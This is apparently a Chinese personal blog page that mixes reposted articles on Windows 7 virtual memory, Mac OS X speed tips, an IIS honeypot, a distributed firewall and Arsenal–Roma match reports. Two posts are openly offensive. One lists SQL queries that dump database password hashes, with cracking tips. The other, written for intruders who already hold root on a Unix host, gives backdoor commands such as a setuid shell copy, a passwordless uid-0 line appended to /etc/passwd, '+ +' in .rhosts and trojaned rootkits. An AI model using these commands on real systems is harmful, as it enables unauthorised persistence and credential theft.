总是需要一些温暖。哪怕是一点点自以为是的纪念。 注册 | 登陆
浏览模式: 标准 | 列表全部文章

Win7系统虚拟内存设置的三大误区

内存在计算机中的作用至关重要,电脑中所有运行的程序都需要经过内存来执行,如果执行的程序很大或很多,就会导致内存消耗殆尽。为了解决这个问题,Windows运用了虚拟内存技术,将一部分硬盘空间来充当内存使用,虽然硬盘的运行速度不能与内存相比,可是容量却要比内存的容量高出许多。其作用在于可将一些读取到内存中却暂时不用的数据转移到虚拟内存中,这样便可释放出内存的空间,将有限的内存空间去继续存放未被读取的数据,以缓解内存的紧张。 网上有很多关于虚拟内存设置的教程和说明,这里我们要说的是设置虚拟内存最常见的三个错误,相信大家看后对虚拟内存的设置又会有不同的理解了。 错误1:虚拟内存不设置在系统盘,应该专门分出一个空白分区专门用来存储页面文件,不要再存放其它任何文件。 因为系统盘含有是系统文件和页面文件,是硬盘读写最频繁的分区,硬盘读写时最耗时的操作是什么呢?是磁头定位!而同一分区内的磁头定位无疑要比跨分区的远距离来回定位要节省时间!所以,虚拟内存设定在系统盘内的才是执行最快、效率最高的。 错误2:虚拟内存的最佳值为:最小值设置为物理内存的1.5倍,最大值设置为物理内存的3倍。 要根据实际使用情况来判断。如今随着内存的价格越来越便宜,特别是Win7系统普及后,所需的物理内存的容量比以往有了大幅增加,传统的虚拟内存设置方法已经不再适用! 一般512MB内存,根据实际使用内存占用,可以设虚拟内存为256-768MB(内存+虚拟内存之和一般比正常占用高256MB即可)。 1GB内存,根据实际使用内存占用情况,可以设虚拟内存为128-1024MB(内存+虚拟内存之和一般比正常占用高256-512MB即可)。平时正常占用为几百MB的人(占多数),甚至可以禁用虚拟内存(有软件限制的可以设少量虚拟内存,如16-128MB)。 内存为2G及以上的,一般可以禁用虚拟内存(有软件限制的可以设少量虚拟内存,如16-128MB)。部分确实会使用大量内存的人,如玩大型3D游戏、制作大幅图片、3D建模等,并收到系统内存不足警告的,才需要酌情设定虚拟内存。 错误3:虚拟内存越大越好。 虚拟内存过大,既浪费了磁盘空间,又增加了磁头定位的时间,降低了系统执行效率,没有任何好处。正确设置可节省256MB-4G左右空间(视内存大小) 如何设置虚拟内存? 右键属性我的电脑,然后点击【高级系统设置】。 系统属性窗口选择【高级】菜单,并点击【性能】选项中的【设置】。 然后在弹出的性能选项窗口中点击【更改】。 选择驱动器(一般为C盘),选择【自定义大小】即可手动修改虚拟内存的初始、最大值。

提高 Mac OS X 速度的 52 个方法

   1. 验证/修复磁盘权限  在 应用程序/实用程序/磁盘工具.app 选择你的系统所在宗卷进行验证,如果有问题则修复(其实也可以直接点“验证并修复磁盘权限”反正修复之前必会先验证的)。  注意非系统宗卷默认是忽略权限的,自然没有验证和修复的说法。  2. 清除不需要的登录项目(就是登录的时候自动运行的程序)  系统预置 - 帐户 - 登录项目,自己看着办,把不需要登录项目减掉。  注意有一些程序即使去掉后还会自动再添加的,比如 Adobe Acrobat 的 AdobeResourceSynchronizer 等。  3. 清除不需要的应用程序  没什么好说的,一些不再用的应用程序可以删掉了,即占空间又碍眼。  4. 清除不需要的预置面板  在系统预置下面的列表中是一些第三方应用程序添加的面板,需要的可以删掉。直接点右键去掉,或者在“~/Library/PreferencePanes”里删除不需要的,可能需要重新启动或者强制清倒废纸篓。  5. 清理桌面  已经有相当多的用户报告说一个干净的桌面可以提升系统运行速度。  别把乱七八糟的东西留在桌面上,找个文件夹收拾起来,或者干脆删除了。  6. 清倒废纸篓  清倒废纸篓可以节省磁盘空间哦~~废话。  7. 如果不需要,就关掉万能辅助  很明显,开着万能辅助肯定会占用内存和处理器时间,关掉用不到的万能辅助选项吧,在系统预置-万能辅助里  8. 如果不需要,关掉蓝牙  开着蓝牙,即费内存又费电,不用的时候关掉吧。用无线MM鼠的用户请忽略。  9. 关掉语音识别  说实话,非英语用户其实开着也是浪费内存和处理器时间。  10. 关闭 Internet 共享  系统预置-共享-Internet,现在用路由器的多, Internet 共享不用就关掉吧。  11. 为启动宗卷(就是系统所在宗卷)预留足够个空闲空间  虚拟内存要用的,所以尽量保证启动宗卷上有10%的空闲空间。  12. 移除不需要的语言包  Monolingual 是个免费的移除语言包的好工具。一些你根本看不懂的语言包去掉就去掉吧,还能省空间。  注意:移除语言包是不可恢复的操作,如果出现问题,必须重装软件才能恢复。请小心决定。  13. 移除改变桌面效果的程序  最近我(指原文作者)发现一个不错的程序可以在每个月在我的桌面上放一个不同小孩,看起来很不错,但一次我在活动监视器里发现这个程序占用了大量了内存和处理器时间。  14. 清理 Dock 上不许要的应用程序  在 Dock 上只需要保留经常使用的应用程序就够了。  15. 为文件关联合适的应用程序  比如图片,如果没有特别要求,最好关联在“预览.app”上,关联在“Photoshop.app”会给每次连按图片文件造成很大的不便。  16. 检查应用程序的架构  如果你使用 Intel-based Mac ,那么用 Universal Binary 版的应用程序将比通过 Rosetta 运行 PowerPC 架构要快。  17. 关掉 Dock 的特效  18. 关掉桌面背景动画  系统预置 - 桌面和屏幕保护程序,把每隔多久更改图片的功能关掉。  19. 关掉不用的 widgets  即使你没有激活 Dashboard ,所有打开中的 widget 都会占用内存和处理器时间。看活动监视器就知道了。如果你根本不用 Dashboard ,那么你甚至可以直接禁用 Dashboard 。  20. 检查每个 widget 占用了多少内存和处理器时间  用活动监视器检查一下,如果两个 widget 能实现差不多类似的功能,那么你应该选择比较省资源的那个。有一些功能集中的 widget 通常也需要更多的内存和处理器时间。  用 Tinkertool 来优化系统  21. 关闭特效  特效看起来很养眼,但它们并不是必需的。在 Tinkertool 的 Finder 面板里,关掉一些不必要的特效吧。  22. 关闭 Dock 阴影  其实系统默认就是关闭 Dock 阴影的哦。  23. 禁用 Dashboard  在 Tinkertool 的 General 面板里,可以直接禁用 Dashboard ,如果你不需要用它的话。  24. 当打开 dmg 文件时,跳过校验和验证  在 Tinkertool 的 Applications 面板里可以关闭 dmg 校验和验证,这会加速 dmg 文件的挂载。不过,没有通过校验和的文件便不能确定是否是破损的。  25. 移除或关闭不需要的登录项目  啊,我们在第2步的时候已经做过了,当然我们还可以在 Tinkertool 里确认一下是否移干净了。  26. 减少 Safari 中显示和加载页面的延时  在 Tinkertool 的 Safari 面板里,这个不会提高你的网速,但会让你觉得浏览网页变快了。  用 OnyX 来优化系统,它和 Tinkertool 功能类似,但拥有更多的选项  27. 关闭特效  在21步,我们已经用 Tinkertool 设置过了  28. 关掉“打开应用程序”和“应用程序提醒时”的 Dock 特效  我觉得,这个没必要关掉,特别时提醒,有点用处。  29. 禁用 Dashboard  在 Tinkertool 里关掉过啦  30. 减少 Safari 中显示和加载页面的延时  在 Tinkertool 里设置过啦  31. 验证修复磁盘权限  恩,眼熟,因为第1步就是这个操作。  32. 执行维护脚本  这个其实系统自带的,只不过系统默认的执行时间是在午夜,这个时候大多数用户都关掉了机器了。也许系统只想到了24小时不关机的服务器了。这里,我们可以手动执行它们。  33. 重建 Spotlight 索引  Spotlight 搜索没有问题的时候别重建,因为重建需要花一定的时间,不划算。  34. 优化系统  用“完全优化”,有些大应用程序安装完的时候也有这个步骤,这里我们可以手动来优化。  35. 清理 Internet 设置  你的 cookies 一并清理掉的话,上论坛就需要重新输用户名和密码了哦  36. 清除用户缓存和字体缓存  其实重启之后会重新生成的,但它有时候可以用来解决一些不明的系统问题。  37. 清理不需要的日志文件  大部分用户都没有分析日志的习惯,开发人员和 UNIX 用户会比较常用。  38. 强制清倒废纸篓  39. OnyX 的自动执行  选上需要执行的维护计划,一键运行,省事。  40. 清理 Safari 缓存  为了加速页面读取,Safari会在缓存中保存每个页面的拷贝,但是当缓存太多的时候也会延缓页面读取,所以偶尔清理一下 Safari 缓存也不错。  41. 清理 Safari 历史纪录  42. 清理 Safari 的自动填表纪录  43. 清理 Safari 的网站图标  有些网站在地址栏上定义了自己的图标,如果不需要可以清理掉,没啥影响。也可以通过直接删除“~/Library/Safari/Icons”下的内容来清理。  44. 如果你是 Friefox 用户,那么你应该可以找到专门为你的处理器优化的版本,效果明显哦  45. Firefox 的扩展  Firefox 功能强大广泛的扩展为 Firefox 带来了更好的浏览体验,不过太多的扩展也会拖慢 Firefox 的速度,包括启动速度和运行速度。不需要的扩展可以禁用或者干脆删了。  46. iTunes 的智能播放列表  每次 iTunes 启动,智能播放列表都需要重新读取内容。如果某些智能播放列表的内容并不常变动,可以关闭它的自动更新,或者把内容拷贝出来建成普通的列表。  47. 惠普打印机驱动经常引发问题并占用大量的处理器时间,所以请在活动监视器里留意惠普打印机实用程序,如果它经常占用 80% - 100% 的资源,那么就卸载它吧。有时候,使用基本驱动比完全套装的效果更好。  48. 如果没有使用,请注意 Classic 是否关闭  49. 运行”软件更新“  最新的软件更新可以提升运行速度并解决一些问题。  50. 更新其他应用程序  大多数情况下,软件总是新版的比较好。关注 MacUpdate 或 VersionTracker 或其他类似网站以及时获取更新软件的信息。  51. 添加内存  虽然这个是需要花钱的方法,但这个是最有效的提升性能的办法。  52. 重启计算机  这么多步骤下来,或许该到了重启计算机的步骤了。如果你也像我(指原文作者)一样在大多数不用计算机的时候选择睡眠,那么重启一下也是很有帮助的。那些不用计算机的时候选择关闭计算机的用户可以忽略。电脑优化

各种数据库密码hash获取语句

摘要:各种数据库密码hash获取语句,也可以直接使用sqlmap这个注入工具! SQL Server 2000:- SELECT password from master.dbo.sysxlogins where name='sa' 0010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341 2FD54D6119FFF04129A1D72E7C3194F7284A7F3A 0010...

各种数据库密码hash获取语句,也可以直接使用sqlmap这个注入工具!


SQL Server 2000:-
SELECT password from master.dbo.sysxlogins where name='sa'
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
0×0100- constant header
34767D5C- salt
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
crack the upper case hash in 'cain and abel' and then work the case sentive hash
 


SQL server 2005:-
SELECT password_hash FROM sys.sql_logins where name='sa'
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
0×0100- constant header
993BF231-salt
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
crack case sensitive hash in cain, try brute force and dictionary based attacks.

update:- following bernardo's comments:-
use function fn_varbintohexstr() to cast password in a hex string.
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins

 

MYSQL:-
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL's own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.

 

*mysql < 4.1
mysql> SELECT PASSWORD('mypass');
+——————–+
| PASSWORD('mypass') |
+——————–+
| 6f8c114b58f2ce9e |
+——————–+
 

*mysql >=4.1
mysql> SELECT PASSWORD('mypass');
+——————————————-+
| PASSWORD('mypass') |
+——————————————-+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+——————————————-+
Select user, password from mysql.user
The hashes can be cracked in 'cain and abel'
 


Postgres:-
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called "postgres" or "pgsql")
select usename, passwd from pg_shadow;
usename | passwd
——————+————————————-
testuser | md5fabb6d7172aadfda4753bf0507ed4396
use mdcrack to crack these hashes:-
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396



Oracle:-
select name, password, spare4 from sys.user$
hashes could be cracked using 'cain and abel' or thc-orakelcrackert11g
More on Oracle later, i am a bit bored….

 

*nux如何创建后门

摘要:kindle's blog , 作者:kindle 千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 请记住...

kindle's blog , 作者:kindle

千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 — 请记住: ” we come back and we are the h.a.c.k.e.r ”

创建后门的方法如下:
-
1. setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。– 适用于新手;
-
 

2. echo “zer9::0:0::/:/bin/csh” >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 — 适用于新手;
-
 

3.echo “+ zer9″>>/.rhosts
即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的.
前提是目标的port 512or513or514 opening.
注: 如 echo “+ +”>>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要;
还可 echo “+ +”>>/etc/hosts.equiv 但这样不能取得root权限;– 适用于比新手高一点点,比中级水平低一点点的guys;
-
 

4.modify sendmail.cf 增加一个”wiz” 命令;
usage:
telnet target 25 [enter]
wiz[enter]
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复 杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;– 顾名思意,大师级漏洞;
-
 

5. crack suck as inetd,login,…
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;– 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd 的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,…
hahhahha,我又做梦了:)
– 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办–因为我们所做的一切都必须以不破坏目标机上的任何数据为原 则;
-

配置IIS蜜罐抵御黑客攻击

摘要:据有关资料显示,现在有大量的服务器仍在使用IIS提供Web服务,甚至有争夺占领Apache市场的趋势。在Web威胁日益严重的今天,我们当然要采用反病毒、防火墙、UTM、NAC等手段来加强网络安全。但是,有时正确地建设一个蜜罐也是对付黑客的必需任务。 什么是蜜罐?...

据有关资料显示,现在有大量的服务器仍在使用IIS提供Web服务,甚至有争夺占领Apache市场的趋势。在Web威胁日益严重的今天,我们当然要采用反病毒、防火墙、UTM、NAC等手段来加强网络安全。但是,有时正确地建设一个蜜罐也是对付黑客的必需任务。

 

  什么是蜜罐?简言之,蜜罐就是一个位于互联网上的计算机系统,其特定的目的是为了吸引并“诱捕”试图渗透进入其他人的计算机系统的黑客。要建立一个真正的蜜罐,用户需要做的事情很多,但至少要求用户做到三条,一是安装一个不打补丁的操作系统,并且需要使用默认配置,二是要保证系统上没有任何数据,三是添加一个设计目的是记载入侵者活动的应用程序。

 

  在IIS中配置蜜罐并不是一件件很复杂的事情,但它却可有助于极大地减少对IIS服务器的攻击。严格意义上讲,本文所谈论的并非一个真正的蜜罐,因为一个真正的蜜罐是一个拥有许多漏洞且故意暴露在互联网上的主机,这里所讨论的只不过是一个数据通信的转向器而已。使用HTTP主机的头信息,我们完全可以将攻击者的通信转向一个并不存在的站点上。

 

  黑客们会使用端口扫描器来查找那些开放着80号端口的IP地址,并对这些端口实施其攻击和侵入的企图。另外一方面,网站的终端用户会使用域名来访问站点,因此我们的措施并不会影响这些普通用户。通过启用网站上的主机头名并将IP企图重新转向,我们就可以跟踪和记录黑客来自何方,同时又保持了对终端用户的可用性。

 

  理论上的事儿先说到这里,下面我们开始建立一个蜜罐。

  我们需要做的第一件事情就是要在Web服务器上建立一个空的目录。其名称与位置没有什么关系,对于本例而言,笔者创建了一个称为Honeypot的目录,它位于C:\Inetpub\wwwroot的目录下。启动IIS 管理程序,并为所有的站点分配一个主机头名,这样每一台虚拟服务器都有一个带有IP地址的主机头名。如下图1:
 

  这里要保证虚拟服务器不能与无主机头名的80号端口上的IP地址有映射关系,并保证服务器不能拥有“全部未分配的” IP寻地址。并保障主机的头信息正确设置,用户仍可以访问所有的站点。如图2:
 

  然后,再创建一个新的网站指向刚才创建的目录。这个蜜罐网站应当指定所有未分配的IP地址,并且不能配置主机的头信息。虽然这个站点的名称叫“honeypot”,但这并不影响黑客对它的访问。进入这个新网站的属性设置界面,选择“目录安全”选项卡,并选中“集成windows身份验证”,取消选择其它的认证方法,然后单击“确定”。图3:

  接着,选择网站选项卡,并单击“高级”,单击“多网站配置”下的“添加”按钮,并添加所有的IP地址。如果你收到了一个关于IP地址冲突的错误消息,不要紧,这表明你没有为此网站设置主机头名。你需要做的是将IP地址从列表中清除,或为此网站配置一个主机头名。图4:
 

  保存所有的更改,然后退出Internet 信息服务。

  这样一来,当一个恶意用户通过IP地址来访问网站时,他就会被发送至空目录,并得到一个403错误。而通过DNS域名来访问网站的用户由于有了主机的头信息,就能够访问网站的内容。
 

  这样做并不是绝对的安全,因为黑客们仍会试图通过域名来访问网站,不过其多数攻击都被发送到了IP地址。使用主机的头信息会改善Web服务器的性能,这是因为WWW服务没有必要为使用独立IP地址的网站分配非页式内在池。
 

  还有一点,一些较低版本的浏览器(不符合HTTP1.1规范的浏览器)将被直接转向空目录,因为这种浏览器不接受主机头名。不过,现在这种浏览器几乎没有人用了吧?


 

基于C/S架构的分布式防火墙(图)


            随着政府、企业、个人主机的网络安全需求的与日俱增,防火墙技术应运而生。传统的边界式防火墙是企业内部网络与外部网络的一道屏障,但是其无法对内部网络访问进行控制,也没有对黑客行为进行入侵检测和阻断的功能。企业迫切需要一套真正能够解决网络内部和外部,防火墙和防黑客的安全解决方案,而基于C/S架构的分布式防火墙很好地满足了这一需求:它是由安全策略管理服务器[Server]以及客户端防火墙[Client]组成,综合运用多种先进的网络安全技术,为客户提供可靠的网络安全服务.

一. 分布式防火墙系统架构

       分布式防火墙由安全策略管理服务器[Server]以及客户端防火墙[Client]组成.客户端防火墙工作在各个从服务器、工作站、个人计算机上,根据安全策略文件的内容,依靠包过滤、特洛伊木马过滤和脚本过滤的三层过滤检查,保护计算机在正常使用网络时不会受到恶意的攻击,提高了网络安全性。而安全策略管理服务器则负责安全策略、用户、日志、审计等的管理。该服务器是集中管理控制中心,统一制定和分发安全策略,负责管理系统日志、多主机的统一管理,使终端用户“零”负担。



       图1展示了分布式防火墙在政府/企业中的应用解决方案。该方案是纯软件防火墙,无须改变任何硬件设备和网络架构,就可以帮助政府/企业阻挡来自内部和外部网络的攻击。





图1 分布式防火墙在政府/企业中的应用解决方案



二. 分布式防火墙功能解析

       在上述图1所示的分布式防火墙解决方案中,左边为政府/企业内部网络(内网)的应用拓扑结构图,中间为Internet公众网络,我们称之为外部网络(外网),右边为政府/企业办公和业务的延伸部分,处于外部网络环境中。在内部的财务、总裁办、人事、档案、网络管理等主机,以及数据库服务器,文件服务器上存放着政府/企业的重要信息,这些信息一旦泄漏或者存放信息的主机遭到破坏,会给政府/企业带来不良的后果。如果不采取相应措施,此网络很容易遭受来自外网和内网上的黑客攻击。若使用边界式防火墙,则外网的攻击将被阻拦,但从数据统计看,还有大部分网络攻击/破坏来源于内部网络的黑客或员工的不小心应用,这时普通防火墙就无能为力了。而政府/企业的移动办公人员、代理商、合作伙伴、远程分支机构在外部网络上很容易受到外部黑客的攻击。所以说,能够很好的阻挡内部和外部网络攻击是政府/企业内部网络安全的重要任务。





      分布式防火墙能很好地解决上述问题。在内部网络的主服务器安装上分布式防火墙产品的安全策略管理服务器后,设置组和用户分别分配给相应的从服务器和PC机工作站,并配置相应安全策略;将客户端防火墙安装在内网和外网中的所有PC机工作站上,客户端与安全策略管理服务器的连接采用SSL协议建立通信的安全通道,避免下载安全策略和日志通信的不安全性。同时客户端防火墙的机器采用多层过滤,入侵检测,日志纪录等手段,给主机的安全运行提供强有力的保证.



具体功能描述如下:

1、阻止网络攻击

       目前,黑客们常用的攻击手段有以下几种:



(1)DoS拒绝服务式攻击

       拒绝服务攻击是目前网络中新兴起的攻击手段,针对TCP/IP协议的漏洞,使对方服务器承受过多的信息请求而无法处理,产生阻塞导致正常用户的请求被拒绝。一般地有如下方式:



(a)Ping-Flood:使用简单的Ping命令对服务器发送数据包,如果在很短的时间内服务器收到大量Ping数据包,那么服务器就需要耗费很多资源去处理这些数据包从而导致无法正常工作。



(b)TCP-SYN-Flood: SYN数据包是两台计算机在进行TCP通信之前建立握手信号时所用,正常情况下,SYN数据包中包含有想要进行通信的源机器的IP地址,而服务器收到SYN数据包后将回复确认信息,源机器收到后再发送确认信息给服务器,服务器收到,二者就可以建立连接进行通信了。采用这种攻击方式就是在某一个极短的时间内向对方服务器发送大量的带有虚假IP地址的SYN数据包,服务器发出确认信息,但是却无法收到对方的回复,就要耗费大量的资源去处理这些等待信息,最后将使系统资源耗尽以至瘫痪。



(c)UDP-Flood: UDP是基于非连接的用户数据报通讯协议,不包含流控制机制。UDP数据包很容易使得计算机系统忙于响应而丧失正常的网络业务能力。



       另外还有诸如ICMP-Flood, IGMP-Flood等攻击手段,在此不一一详述.



(2)源路由包攻击

      源路由包采用了极少使用的一个IP选项,它允许发起者来定义两台机器间所采取的路由,而不是让中间的路由器决定所走的路径。与ICMP的重定向相比,这种特性能使一个黑客来欺骗你的系统,使之相信它正在与一台本地机器、一台ISP机器或某台其他可信的主机对话。



(3)利用型攻击

      利用型攻击是一类试图直接对你的机器进行控制的攻击,最常见的就是特洛伊木马(Trojan Horse)。例如BO2000就是典型的特洛伊木马程序。



(4)信息收集型攻击

      信息收集型攻击在初期并不对目标本身造成危害,而是被用来为进一步入侵提供有用的信息,例如:端口扫描技术,黑客使用特殊的应用程序对服务器的每个端口进行测试,以寻找可以进入的端口或者找出某些端口可以利用的安全漏洞。

以上的各种攻击手段,分布式防火墙可以及时地发现,并且采取相应的措施以控制事件的进一步发展,同时记录该攻击事件。





2、包过滤

       包过滤是防火墙防止计算机受到攻击的最基本方法,防火墙实时地监控进入以及出去的数据包,根据特定的过滤规则决定是否让这些数据包通过。分布式防火墙可以直接处理IP(或与IP级别相当的ARP、RARP以及其它的非IP网络协议)数据包的发送与接收,根据数据包的包头信息,分析出网络协议、源地址、目的地址、源端口以及目的端口,然后对照过滤规则进行过滤。对于不符合过滤规则的数据包,防火墙将拒绝通过,同时进行记录或报警。





3、基于状态的过滤

       对于面向非连接的UDP网络访问,为了提供较强过滤控制,就必须根据上下文来进行判断。例如:对于一个请求进入的UDP访问,只有在它有对应的出去的UDP访问(地址和端口号相匹配)时才可以接受,否则将拒绝或报警。这就需要IP包过滤模块记录有过去已经发出的UDP访问的列表,这样的列表就叫做上下文。而对于面向连接的TCP访问,同样也可以根据不同的应用协议设定相应的上下文,进行更为细粒度的访问控制。这些技术统称为基于状态的包过滤。对于不符合规则的访问拒绝事件,要进行记录。





4、特洛伊木马过滤

       如果有黑客侵入到用户的计算机上,他会运行某一些特殊的应用程序与之进行通信,从而获取一些信息。分布式防火墙维护一个已知的应用程序列表,只有列表中的应用程序才可以使用网络,一旦检测到有未知的应用程序企图使用网络,系统将会提醒用户注意,是否要禁止使用或者是加入到允许访问网络的程序列表中.如果用户不小心运行了带有特洛伊木马的程序,当木马程序企图向网络发送信息时,分布式防火墙将会进行拦截。





5、脚本过滤

       脚本过滤功能对常见的各种脚本,如Java Script脚本、VB Script脚本在运行前被一一进行分析检查,判断它们是否会进行比较危险的操作;如果是,则提醒用户注意,并要求用户决定是否允许该脚本执行,从而有选择地让无害的脚本通过,对恶意的脚本进行拦截,实现实时脚本过滤.





6、用户定制的安全策略

       用户可以将任意的IP地址加入到自己的信任/不信任地址列表中,对于在信任地址列表中的地址传送过来的数据包,分布式防火墙将不进行任何阻拦,而对于在不信任列表中的地址传送过来的任何数据包,将拒绝接受。如果经常受到某些地址的攻击,用户可以将这些地址加入到不信任地址列表中,拒绝接受这些地址所发出的任何数据包。用户定制的安全策略必须是统一安全策略的超集,也就是说安全级别只能加强不能放松。





7、日志和审计

       日志用来记录防火墙在运行过程中所出现的各种情况,通过查看日志,用户可以及时、全面地掌握分布式防火墙本身的运转以及用户的访问情况,并可以根据这些日志来制定或修改安全管理策略.强大的日志记录功能,主要包括:



(1)软件的安装、升级记录;

(2)安全策略改变记录;

(3)被拒绝的网络访问记录:包括被拒绝网络访问的应用程序名,使用的协议,源地址和目的地址,使用的端口等;

(4)遭受到的攻击记录: 包括攻击者使用的协议、端口、来源地址.





8、统一的安全策略管理服务器

       安全策略文件以密文形式存放于硬盘中,用户不能直接对其阅读,也不可以对其进行随意更改。分布式防火墙启动时,安全策略文件经解密后加载到防火墙中。复杂的安全策略以Hash表的方法进行检索。使用Hash列表对安全策略文件进行检索能大大加快读取速度,安全策略可以动态更新,更新总在用户态进行,同时磁盘文件也被更新。用户可以在防火墙运行的过程中更改安全级别,而不影响防火墙的正常运行。更新完成后,系统将会在新的安全级别下工作。安全策略服务器和客户端防火墙之间采用SSL通信,保证了安全策略传输时的安全性。另外管理模块功能还包括:用户组管理,基于用户组的安全策略分配,实时监控当前网络状态,查看日志,更改安全级别,更改用户定制的安全属性等。





       基于C/S架构的分布式防火墙产品,采用统一的安全策略管理服务器[Server],各台主机客户端[Client]从服务器下载安全策略,设置多层安全过滤,拥有出色的入侵检测和强大的日志管理功能,安装方便,使用简洁,升级快捷,降低了维护成本,形成了可靠的网络安全体系,很好地满足了政府、企业、个人保护网络信息安全的迫切需求.



参考文献

[1]  Jie Wu著,高传善 等译.分布式系统设计.北京:机械工业出版社,2001.

[2]  王柏,王红熳,邹华.分布计算环境.北京:北京邮电大学出版社,2000.

[3]  贾焰 等著.分布式数据库技术.北京:国防工业出版社,2000.

[4]  Charles Payne, Tom Marcham. Architecture and Applications for a Distributed Embedded Firewall. Secure Computing Corporation,2001.

[5]  Tom Marcham, Charles Payne. Security at the Network Edge. A Distributed Firewall Architecture. Presented at the DARPA information Survivability Conference II,2001.

[6]  William R. Cheswick, Steven M. Bellovin著;戴宗坤,罗万伯 等译.防火墙与因特网安全.北京:机械工业出版社,2000.

[7]  Keith E. Strassberg, Richard J. Gondek, Gary Rollie 等著,李昂 等译.防火墙技术大全.北京:机械工业出版社,2003.

[8]  Terry William Ogletree著,李之棠,李伟明,陈琳 等译.防火墙原理与实施.北京:电子工业出版社,2001.

[9]  王睿,林海波 等著.网络安全与防火墙技术.北京:清华大学出版社,2000.

欧冠阿森纳V罗马首发:枪手高快箭头 托蒂领衔红狼


      新浪体育讯 北京时间2月25日凌晨,08-09赛季欧洲冠军联赛1/8决赛首回合正式打响,阿森纳坐镇酋长球场迎战上赛季意甲亚军罗马队,以下为双方本场比赛的首发阵容。
阿森纳:442
门将:1-阿穆尼亚
后卫:3-萨尼亚、5-图雷、10-加拉斯、22-克里希
前卫:27-埃布、15-德尼尔森、2-迪亚比、8-纳斯里
前锋:26-本特纳、11-范佩西
替补:21-法比安斯基、12-贝拉、16-拉姆塞、17-宋、20-乔鲁、40-吉布斯、43-梅里达
罗马:442
门将:32-多尼
后卫:13-莫塔、15-洛里亚、5-梅克斯、17-里瑟
前卫:11-塔代伊、16-德罗西、20-佩罗塔、33-布里吉
前锋:10-托蒂、19-巴普蒂斯塔
替补:25-阿图尔、7-皮萨罗、9-武西尼奇、14-费利佩、21-迪亚穆特内、22-托内托、23-蒙特拉
主裁判:拉尔森(丹麦)
(新浪体育)

阿森纳vs罗马技术统计:枪手射门控球优势 赢1球可惜


      新浪体育讯 北京时间2月25日03:45(英国当地时间24日19:45),2008/09赛季欧洲冠军联赛1/8决赛首回合一场焦点战在酋长球场展开争夺,阿森纳主场1比0力克罗马,范佩西点球绝杀建功。  
双方技术统计(主队阿森纳在前)
射门:15比7
射正:3比1
射偏:10比4
被封堵射门:2比2
角球:1比2
犯规:16比11
越位:5比4
黄牌:2比3
传球成功率:81.1比80.6
铲球:25比28
铲球成功率:60比60.7
控球率:53.6比46.4
球在本方半场:40比60
(新浪体育)